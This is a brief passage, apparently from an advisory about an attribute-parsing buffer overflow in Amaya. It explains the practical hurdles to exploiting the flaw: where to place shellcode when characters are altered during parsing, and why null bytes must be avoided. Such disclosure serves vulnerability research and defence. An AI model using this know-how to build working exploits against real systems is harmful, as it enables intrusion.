In fact, sucessful exploitation of this vulnerability is not that easy
because non-text characters were modfified during parsing therefore you
have to find a place where to place the shellcode. Naturally you have
to avoid null bytes too because Amaya would stop parsing the attribute
value and the overflow would not get triggered.
